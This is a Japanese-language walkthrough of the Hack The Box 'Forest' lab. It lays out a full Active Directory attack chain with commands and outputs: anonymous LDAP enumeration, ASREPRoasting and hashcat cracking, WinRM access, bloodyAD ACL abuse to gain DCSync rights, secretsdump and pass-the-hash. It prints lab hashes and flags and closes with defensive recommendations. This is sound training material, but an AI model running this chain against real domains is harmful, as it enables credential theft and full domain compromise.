Hack The BoxのWriteup(Forest)[Easy]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Forest — 全実行コマンド・実行結果レポート
Nmap スキャン
DC特有ポート群(88/389/445/5985等)
→
LDAP匿名バインド
ユーザー一覧列挙
→
ASREPRoast
svc-alfresco (事前認証無効)
→
hashcat crack
s3rvice
→
WinRM ログイン
user.txt ✓
→
Account Operators 所属発見
BloodHound/net group
→
Exchange Windows Permissions へ自己追加
WriteDACL奪取
→
DCSync権限付与
ACL書換
→
secretsdump + PTH → root.txt ✓
PHASE 1

偵察 (Reconnaissance)

ポートスキャン

BASH
nmap -Pn -p- --min-rate 500 -T4 --max-retries 2 10.129.95.210
RESULT
PORT      STATE SERVICE
53/tcp    open  domain
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
5985/tcp  open  wsman  (WinRM)
9389/tcp  open  adws
...(49664番台の動的RPCポート多数)
🚨
この port 構成(53/88/389/445/3268/9389等)はActive Directoryドメイン コントローラーの典型的な指紋。88(Kerberos)と389(LDAP)が 開いているため、ドメイン単位の攻撃手法(Kerberosroasting系やLDAP列挙)が 使える可能性が高い。

バージョン・スクリプトスキャンでドメイン名を特定

BASH
nmap -sV -sC -p 53,88,135,139,389,445,636,3268,3269,5985,9389 10.129.95.210
RESULT (抜粋)
| ssl-cert: Subject: commonName=FOREST.htb.local
|_ssl-date: ... ; 0s from scanner time.
445/tcp open microsoft-ds? Windows Server 2016 (name:FOREST) (domain:htb.local)
ℹ️
ドメイン名 htb.local、ドメインコントローラー名 FORESTと判明。/etc/hostsに追記しておく。
BASH
echo "10.129.95.210 htb.local FOREST.htb.local" | sudo tee -a /etc/hosts
PHASE 2

LDAP 匿名バインドでのユーザー列挙

匿名LDAPバインドの確認

BASH
ldapsearch -x -H ldap://10.129.95.210 -b "" -s base namingContexts
RESULT
namingContexts: DC=htb,DC=local
namingContexts: CN=Configuration,DC=htb,DC=local
namingContexts: CN=Schema,CN=Configuration,DC=htb,DC=local
namingContexts: DC=DomainDnsZones,DC=htb,DC=local
namingContexts: DC=ForestDnsZones,DC=htb,DC=local
🚨
認証なし(匿名バインド)でLDAPクエリに応答している。本来は 設定ミスだが、多くのAD構築初期設定でデフォルト有効になりがちな 落とし穴。ここからユーザー・グループ・属性情報を自由に列挙できる。

全ユーザー一覧の取得

BASH
ldapsearch -x -H ldap://10.129.95.210 -b "DC=htb,DC=local" \
  "(objectClass=user)" sAMAccountName | grep sAMAccountName
RESULT (抜粋)
sAMAccountName: Administrator
sAMAccountName: Guest
sAMAccountName: krbtgt
sAMAccountName: DefaultAccount
sAMAccountName: $331000-VK4ADACQNUGT
sAMAccountName: SM_2c8eef0a09b545acb
sAMAccountName: SM_ca8c2ed5bdab4017b
...
sAMAccountName: HealthMailboxc3d7722
...
sAMAccountName: svc-alfresco
sAMAccountName: sebastien
sAMAccountName: lucinda
sAMAccountName: andy
sAMAccountName: mark
sAMAccountName: santi
ℹ️
多数のサービスアカウント(SM_接頭辞、HealthMailbox接頭辞)は Exchangeが自動生成するもの。その中にsvc-alfrescoという 一般的なサービスアカウント名が混在している。
PHASE 3

ASREPRoast攻撃 & パスワードクラック

ASREPRoast の原理

NOTE
Kerberosの事前認証(Pre-Authentication)は通常、クライアントが現在時刻を
自身の秘密鍵(パスワードから導出)で暗号化してKDCに送ることで
「正しいパスワードを知っている」ことを証明する仕組み。

しかし、あるユーザーアカウントの属性で
**"Do not require Kerberos preauthentication"** が有効になっていると、
**事前認証なしでAS-REP(認証応答)が返ってくる**。このAS-REPの一部は
そのユーザーの秘密鍵(パスワード由来)で暗号化されているため、
**パスワードを一切知らなくても暗号化データだけを入手してオフラインで
総当たり攻撃**にかけられる。

ASREPRoastable ユーザーの特定 & hash 取得

BASH
# Phase2で見つけたsvc-alfrescoに対して無認証でASREPRoastを試す
# (事前認証が無効なユーザーでなければエラーになる)
impacket-GetNPUsers htb.local/svc-alfresco -no-pass -dc-ip 10.129.95.210
RESULT
[*] Getting TGT for svc-alfresco
$krb5asrep$23$svc-alfresco@HTB.LOCAL:a868b5a4139ff33dd211e0356a49e306$30651085e1bfccfb882b1fe60100f6c22896b3264363e980e4439cf6a11f58b1bf34290e2267fd0d63aae93abfec5a8f42698ecf56b8d596e83f6b4563a877d55519ee490a1821cec197daa4090e581e88a52ce50bbe3a0c3dab09bd167ee0437ac2fe5daccf910ed8f5e848b79ebc040f56691c3c89a89bd174bf7703a5a75a68226cf03bd13816fe483ee0ad55a1bcb68069e873248049947b81f2321eebe16407ce23cd09bd192a154058bde23f91e3654a63238cc909c940125fba970631d4a313552ec78e92258de3485dbd0c73f0e44f710c607e365f0cdb759ffb9af59a884565b438
✅
svc-alfresco は事前認証が無効と確定。AS-REPハッシュを無認証で 取得できた。このハッシュをファイルに保存し、オフラインでクラックする。

hashcat でクラック

BASH
# -m 18200 = Kerberos 5 AS-REP etype 23
hashcat -m 18200 asrep.hash /usr/share/wordlists/rockyou.txt --quiet
hashcat -m 18200 asrep.hash /usr/share/wordlists/rockyou.txt --show
RESULT
$krb5asrep$23$svc-alfresco@HTB.LOCAL:...:s3rvice
✅
クラック成功! svc-alfresco:s3rvice。
PHASE 4

WinRM ログイン → user.txt

WinRM認証確認 & user.txt取得

BASH
# nxc (netexec) でまず認証可否を確認
netexec winrm 10.129.95.210 -u svc-alfresco -p s3rvice

# evil-winrmで対話シェル、またはワンライナーで直接フラグを読む
netexec winrm 10.129.95.210 -u svc-alfresco -p s3rvice \
  -X 'type C:\Users\svc-alfresco\Desktop\user.txt'
RESULT
WINRM  10.129.95.210  5985  FOREST  [+] htb.local\svc-alfresco:s3rvice (Pwn3d!)
WINRM  10.129.95.210  5985  FOREST  [+] Executed command (shell type: powershell)
c74c65a6c5939196e3c3ccedc6519590
user.txt — svc-alfresco
c74c65a6c5939196e3c3ccedc6519590
ℹ️
ドメインアカウントでの認証なのでnetexecに--local-authフラグは 付けない(付けるとローカルアカウント扱いになり失敗する)。
PHASE 5

権限昇格の下調べ — グループメンバーシップの調査

svc-alfrescoの所属グループを確認

BASH
# BloodHound用のデータ収集 (bloodhound-python等)、または直接LDAPで確認
evil-winrm -i 10.129.95.210 -u svc-alfresco -p s3rvice
*Evil-WinRM* PS> net user svc-alfresco /domain
RESULT (抜粋)
Local Group Memberships   *Service Accounts
Global Group memberships  *Domain Users  *Account Operators
                           *Privileged IT Accounts
🚨
決定的な発見! svc-alfresco は Account Operators グループの(ネストされた)メンバー。このグループはデフォルトで 「保護されていない(組み込みの管理系以外の)グループ・ユーザーの メンバーシップを変更できる」という強力な権限を持つビルトイングループ。

攻撃経路の設計 — Exchange Windows Permissions

NOTE
このドメインにはExchangeがインストールされているため、
"Exchange Windows Permissions" という特殊なグループが存在する。
このグループは(Exchangeの仕様上)**ドメインオブジェクト自体に対する
WriteDACL権限**(アクセス制御リストを書き換える権限)を持っている。

Account Operators はこの Exchange Windows Permissions グループ自体には
直接のメンバーシップ変更権限は無いように見えるが、実際には
**保護されていないグループへの自己追加が可能**であり、
Exchange Windows Permissions は保護されたグループではないため
Account Operators権限で自分自身をそこに追加できる。

攻撃チェーン:
  Account Operators (所属済み)
    → Exchange Windows Permissions に自己追加 (グループメンバーシップ変更権)
    → Exchange Windows Permissions の WriteDACL権限でドメインのACLを書換
    → 自分自身にDCSync権限(複製権限)を付与
    → DCSyncでドメイン全体のパスワードハッシュを取得
PHASE 6

DCSync 権限奪取 → secretsdump → Pass-the-Hash → root.txt

Exchange Windows Permissions への自己追加

BASH
# bloodyAD はLDAP経由でADオブジェクト・ACLを操作するツール
bloodyAD -u svc-alfresco -p s3rvice -d htb.local --host 10.129.95.210 \
  add groupMember "Exchange Windows Permissions" svc-alfresco
RESULT
[+] svc-alfresco added to Exchange Windows Permissions
✅
グループ追加成功。これで svc-alfresco は Exchange Windows Permissions が持つドメインオブジェクトへのWriteDACL権限を獲得した。

自分自身に DCSync 権限を付与

BASH
# WriteDACLでドメインのACLを書き換え、DS-Replication-Get-Changes /
# DS-Replication-Get-Changes-All 権限を自分自身に付与する
bloodyAD -u svc-alfresco -p s3rvice -d htb.local --host 10.129.95.210 \
  add dcsync svc-alfresco
RESULT
[+] svc-alfresco is now able to DCSync
ℹ️
ポイント: bloodyADのLDAPバインドはコマンド実行ごとに毎回 グループメンバーシップを再評価するため、グループ追加の直後でも トークンのキャッシュ問題(Kerberosチケットにグループ情報が古いまま 残る等)にハマらず、連続してすぐに次のコマンドが成功する。

DCSync でAdministratorのハッシュを取得

BASH
# DCSyncはドメインコントローラー間のレプリケーションプロトコルを模倣し、
# NTDS.DIT(AD全体のパスワードハッシュDB)の内容を対象ユーザー分だけ取得する
impacket-secretsdump htb.local/svc-alfresco:s3rvice@10.129.95.210 \
  -just-dc-user Administrator
RESULT
[*] Using the DRSUAPI method to get NTDS.DIT secrets
htb.local\Administrator:500:aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6:::
[*] Kerberos keys grabbed
htb.local\Administrator:aes256-cts-hmac-sha1-96:910e4c922b7516d4a27f05b5ae6a147578564284fff8461a02298ac9263bc913
✅
Administrator の NTLM ハッシュ取得成功! 32693b11e6aa90eb43d32c72a07ceea6。パスワードそのものを知らなくても このNTLMハッシュ自体を使って認証できる(Pass-the-Hash)。

Pass-the-Hash で root.txt を取得

BASH
netexec winrm 10.129.95.210 -u Administrator \
  -H 32693b11e6aa90eb43d32c72a07ceea6 \
  -X 'type C:\Users\Administrator\Desktop\root.txt'
RESULT
WINRM  10.129.95.210  5985  FOREST  [+] htb.local\Administrator:32693b11e6aa90eb43d32c72a07ceea6 (Pwn3d!)
WINRM  10.129.95.210  5985  FOREST  [+] Executed command (shell type: powershell)
369b721c7edfd66fca79a81cdef0c13f
root.txt — Administrator@htb.local
369b721c7edfd66fca79a81cdef0c13f
⚠️
注意: netexecのPass-the-Hash認証バナー行には32桁のNTLMハッシュ 自体がそのまま出力される。フラグ(32桁hex)抽出を自動化する際は、 このバナー行のハッシュ文字列を実際のフラグと誤認しないよう、 コマンド実行結果(バナーより後に出る行)から抽出するよう注意する。
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — svc-alfresco
c74c65a6c5939196e3c3ccedc6519590
root.txt — Administrator@htb.local
369b721c7edfd66fca79a81cdef0c13f

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
LDAP匿名バインド許可 Active Directory (389/tcp) ドメイン内ユーザー・グループ情報の漏洩 Medium 認証なしLDAPクエリでsvc-alfresco等のユーザー一覧を取得
ASREPRoast (Kerberos事前認証無効) svc-alfresco アカウント オフラインパスワードクラック(user.txt) Critical 無認証でAS-REPハッシュを取得しhashcat -m 18200でrockyou.txt照合、即時クラック
Account Operators → Exchange Windows Permissions 連鎖 ビルトイングループの権限設計 ドメイン全体のACL書換(DCSync権限奪取) Critical Account Operatorsの「保護されていないグループへの自己追加権」でExchange Windows PermissionsのWriteDACLを継承し、自身にDCSync権限を付与
DCSync ドメインコントローラー(レプリケーションプロトコル) Administrator含む全ドメインアカウントのハッシュ奪取(root.txt) Critical secretsdumpでAdministratorのNTLMハッシュを取得しPass-the-HashでWinRM認証

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap全ポートAD DC “FOREST”、ドメイン”htb.local”
2LDAP列挙匿名バインド + ldapsearchsvc-alfresco等のユーザー一覧
3ASREPRoastimpacket-GetNPUsers + hashcat -m 18200svc-alfresco:s3rvice
4WinRMログインnetexec winrmuser.txt取得
5権限調査net user /domain (BloodHound代替)Account Operators所属を確認
6権限昇格bloodyAD(グループ追加+DCSync付与) → secretsdump → PTHroot.txt取得

トラブルシューティング & 実装上の落とし穴

問題原因 / 対策
netexecでドメインアカウントの認証が失敗する --local-authフラグを付けるとローカルアカウント扱いになり失敗する。ドメインアカウントの認証では付けないこと。
グループ追加直後にDCSync付与コマンドを実行すると権限が反映されていないことがある(他のツールでの一般論) bloodyADはLDAPバインドのたびにグループメンバーシップを再評価するため、Forestでは特に問題にならない。他のKerberosチケットベースのツールではチケット再発行(klist purge等)が必要になる場合があるので注意。
netexecのPass-the-Hashバナー行にNTLMハッシュ自体が出力され、フラグ抽出の自動化で誤検出することがある 32桁hexの抽出は「認証バナー行より後に出現する行」を優先する、またはバナー行の既知パターン(ユーザー名:ハッシュ形式)を除外するロジックを入れる。

学んだ教訓 & 防御策

問題点防御策
LDAPが匿名バインドを許可している ドメインコントローラーのLDAP匿名バインドは無効化する(デフォルトのAD構成では既に無効だが、意図的に変更されている環境は要確認)。
サービスアカウントでKerberos事前認証が無効になっている 全ユーザーアカウントで”Do not require Kerberos preauthentication”を無効化(通常状態)に保つ。サービスアカウントには推測困難な長いランダムパスワードを使用する。
Account Operatorsのような強力なビルトイングループに不要なユーザーを所属させている Account Operatorsは強力な権限を持つため、必要最小限のメンバーに限定する。特にExchangeを導入した環境ではAccount Operators→Exchange Windows Permissions連鎖によるDCSync奪取のリスクを認識し、定期的にBloodHound等でAD権限グラフを監査する。
DCSync権限を持つプリンシパルが想定外に存在する ドメインのACL(特にDS-Replication-Get-Changes/-All権限)を定期的に監査し、ドメインコントローラー以外の予期しないプリンシパルにDCSync権限が付与されていないか確認する。
HackTheBox: Forest | 完全攻略レポート